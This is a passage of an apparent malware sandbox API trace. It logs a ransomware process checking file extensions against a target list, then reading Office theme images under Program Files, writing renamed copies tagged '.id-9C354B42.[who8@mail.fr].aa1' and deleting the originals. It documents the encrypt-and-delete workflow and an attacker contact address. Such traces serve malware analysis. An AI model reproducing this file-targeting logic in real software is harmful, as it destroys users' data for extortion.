(lpString1=".rar", lpString2=".PNG") returned 1 [0221.389] lstrlenW (lpString=".bz2") returned 4 [0221.389] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0221.389] lstrlenW (lpString=".7z") returned 3 [0221.390] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0221.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0221.390] lstrlenW (lpString=".dbf") returned 4 [0221.391] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0221.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0221.391] lstrlenW (lpString=".1cd") returned 4 [0221.391] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0221.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0221.391] lstrlenW (lpString=".jpg") returned 4 [0221.391] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0221.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0221.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0221.391] lstrlenW (lpString=".doc") returned 4 [0221.391] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0221.391] lstrlenW (lpString=".docx") returned 5 [0221.391] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0221.391] lstrlenW (lpString=".pdf") returned 4 [0221.391] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0221.391] lstrlenW (lpString=".xls") returned 4 [0221.391] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0221.391] lstrlenW (lpString=".xlsx") returned 5 [0221.391] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0221.391] lstrlenW (lpString=".ppt") returned 4 [0221.391] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0221.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0221.391] lstrlenW (lpString=".zip") returned 4 [0221.391] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0221.391] lstrlenW (lpString=".rar") returned 4 [0221.391] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0221.391] lstrlenW (lpString=".bz2") returned 4 [0221.391] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0221.391] lstrlenW (lpString=".7z") returned 3 [0221.391] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0221.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0221.391] lstrlenW (lpString=".dbf") returned 4 [0221.391] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0221.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0221.391] lstrlenW (lpString=".1cd") returned 4 [0221.392] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0221.392] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0221.392] lstrlenW (lpString=".jpg") returned 4 [0221.392] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0221.392] lstrcmpiW (lpString1=".PNG", lpString2=".aa1") returned 1 [0221.392] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0221.392] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0221.575] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=20575) returned 1 [0221.575] CloseHandle (hObject=0x1a0) returned 1 [0221.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png")) returned 0x20 [0221.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0221.575] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0221.576] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.576] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.576] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0221.576] GetLastError () returned 0x0 [0221.576] ReadFile (in: hFile=0x1a0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x505f, lpOverlapped=0x0) returned 1 [0221.579] WriteFile (in: hFile=0x1e4, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x5060, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0x5060, lpOverlapped=0x0) returned 1 [0221.647] ReadFile (in: hFile=0x1a0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.647] WriteFile (in: hFile=0x1e4, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0xec, lpOverlapped=0x0) returned 1 [0221.647] SetEndOfFile (hFile=0x1e4) returned 1 [0221.648] CloseHandle (hObject=0x1e4) returned 1 [0221.648] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.648] SetEndOfFile (hFile=0x1a0) returned 1 [0221.649] CloseHandle (hObject=0x1a0) returned 1 [0221.649] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0221.649] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png")) returned 1 [0221.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0221.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0221.649] lstrlenW (lpString=".doc") returned 4 [0221.649] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0221.649] lstrlenW (lpString=".docx") returned 5 [0221.649] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0221.649] lstrlenW (lpString=".pdf") returned 4 [0221.649] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0221.649] lstrlenW (lpString=".xls") returned 4 [0221.649] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0221.649] lstrlenW (lpString=".xlsx") returned 5 [0221.649] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0221.649] lstrlenW (lpString=".ppt") returned 4 [0221.649] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0221.649] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0221.650] lstrlenW (lpString=".zip") returned 4 [0221.650] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0221.650] lstrlenW (lpString=".rar") returned 4 [0221.650] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0221.650] lstrlenW (lpString=".bz2") returned 4 [0221.650] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0221.650] lstrlenW (lpString=".7z") returned 3 [0221.650] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0221.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0221.650] lstrlenW (lpString=".dbf") returned 4 [0221.650] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0221.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0221.650] lstrlenW (lpString=".1cd") returned 4 [0221.650] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0221.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0221.650] lstrlenW (lpString=".jpg") returned 4 [0221.650] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0221.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0221.650] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0221.650] lstrlenW (lpString=".doc") returned 4 [0221.650] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0221.650] lstrlenW (lpString=".docx") returned 5 [0221.650] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0221.650] lstrlenW (lpString=".pdf") returned 4 [0221.650] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0221.650] lstrlenW (lpString=".xls") returned 4 [0221.650] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0221.650] lstrlenW (lpString=".xlsx") returned 5 [0221.650] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0221.650] lstrlenW (lpString=".ppt") returned 4 [0221.651] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0221.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0221.651] lstrlenW (lpString=".zip") returned 4 [0221.651] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0221.651] lstrlenW (lpString=".rar") returned 4 [0221.651] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0221.651] lstrlenW (lpString=".bz2") returned 4 [0221.651] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0221.651] lstrlenW (lpString=".7z") returned 3 [0221.651] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0221.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0221.651] lstrlenW (lpString=".dbf") returned 4 [0221.651] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0221.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0221.651] lstrlenW (lpString=".1cd") returned 4 [0221.651] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0221.651] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG") returned 76 [0221.651] lstrlenW (lpString=".jpg") returned 4 [0221.651] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0221.651] lstrcmpiW (lpString1=".GIF", lpString2=".aa1") returned 1 [0221.651] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0221.651] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0221.652] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=3957) returned 1 [0221.652] CloseHandle (hObject=0x1a0) returned 1 [0221.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif")) returned 0x20 [0221.652] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0221.652] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0221.652] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.652] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.652] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0221.873] GetLastError () returned 0x0 [0221.873] ReadFile (in: hFile=0x1a0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0xf75, lpOverlapped=0x0) returned 1 [0221.893] WriteFile (in: hFile=0x214, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0xf80, lpOverlapped=0x0) returned 1 [0221.894] ReadFile (in: hFile=0x1a0, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x0, lpOverlapped=0x0) returned 1 [0221.894] WriteFile (in: hFile=0x214, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0xea, lpOverlapped=0x0) returned 1 [0221.894] SetEndOfFile (hFile=0x214) returned 1 [0221.894] CloseHandle (hObject=0x214) returned 1 [0221.894] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.894] SetEndOfFile (hFile=0x1a0) returned 1 [0221.895] CloseHandle (hObject=0x1a0) returned 1 [0221.895] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0221.896] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif")) returned 1 [0221.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0221.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0221.896] lstrlenW (lpString=".doc") returned 4 [0221.896] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0221.896] lstrlenW (lpString=".docx") returned 5 [0221.896] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0221.896] lstrlenW (lpString=".pdf") returned 4 [0221.896] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0221.896] lstrlenW (lpString=".xls") returned 4 [0221.896] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0221.896] lstrlenW (lpString=".xlsx") returned 5 [0221.896] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0221.896] lstrlenW (lpString=".ppt") returned 4 [0221.896] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0221.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0221.896] lstrlenW (lpString=".zip") returned 4 [0221.896] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0221.896] lstrlenW (lpString=".rar") returned 4 [0221.896] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0221.896] lstrlenW (lpString=".bz2") returned 4 [0221.896] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0221.896] lstrlenW (lpString=".7z") returned 3 [0221.897] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0221.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0221.897] lstrlenW (lpString=".dbf") returned 4 [0221.897] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0221.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0221.897] lstrlenW (lpString=".1cd") returned 4 [0221.897] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0221.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0221.897] lstrlenW (lpString=".jpg") returned 4 [0221.897] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0221.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0221.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0221.897] lstrlenW (lpString=".doc") returned 4 [0221.897] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0221.897] lstrlenW (lpString=".docx") returned 5 [0221.897] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0221.897] lstrlenW (lpString=".pdf") returned 4 [0221.897] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0221.897] lstrlenW (lpString=".xls") returned 4 [0221.897] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0221.897] lstrlenW (lpString=".xlsx") returned 5 [0221.897] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0221.897] lstrlenW (lpString=".ppt") returned 4 [0221.897] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0221.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0221.897] lstrlenW (lpString=".zip") returned 4 [0221.897] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0221.897] lstrlenW (lpString=".rar") returned 4 [0221.898] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0221.898] lstrlenW (lpString=".bz2") returned 4 [0221.898] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0221.898] lstrlenW (lpString=".7z") returned 3 [0221.898] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0221.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0221.898] lstrlenW (lpString=".dbf") returned 4 [0221.898] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0221.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0221.898] lstrlenW (lpString=".1cd") returned 4 [0221.898] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0221.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0221.898] lstrlenW (lpString=".jpg") returned 4 [0221.898] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0221.898] lstrcmpiW (lpString1=".PNG", lpString2=".aa1") returned 1 [0221.898] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0221.898] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0221.989] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=32403) returned 1 [0221.989] CloseHandle (hObject=0x1f8) returned 1 [0221.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png")) returned 0x20 [0221.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0221.989] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0221.990] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.990] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0221.990] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0221.990] GetLastError () returned 0x0 [0221.990] ReadFile (in: hFile=0x1f8, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x7e93, lpOverlapped=0x0) returned 1 [0222.000] WriteFile (in: hFile=0x170, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x7ea0, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0x7ea0, lpOverlapped=0x0) returned 1 [0222.002] ReadFile (in: hFile=0x1f8, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.002] WriteFile (in: hFile=0x170, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.002] SetEndOfFile (hFile=0x170) returned 1 [0222.002] CloseHandle (hObject=0x170) returned 1 [0222.002] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.002] SetEndOfFile (hFile=0x1f8) returned 1 [0222.003] CloseHandle (hObject=0x1f8) returned 1 [0222.003] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0222.004] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\thmbnail.png")) returned 1 [0222.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0222.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0222.004] lstrlenW (lpString=".doc") returned 4 [0222.004] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0222.004] lstrlenW (lpString=".docx") returned 5 [0222.004] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0222.004] lstrlenW (lpString=".pdf") returned 4 [0222.004] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0222.004] lstrlenW (lpString=".xls") returned 4 [0222.004] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0222.004] lstrlenW (lpString=".xlsx") returned 5 [0222.004] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0222.004] lstrlenW (lpString=".ppt") returned 4 [0222.004] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0222.004] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\THMBNAIL.PNG") returned 76 [0222.005] lstrlenW (lpString=".zip") returned 4 [0222.005] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 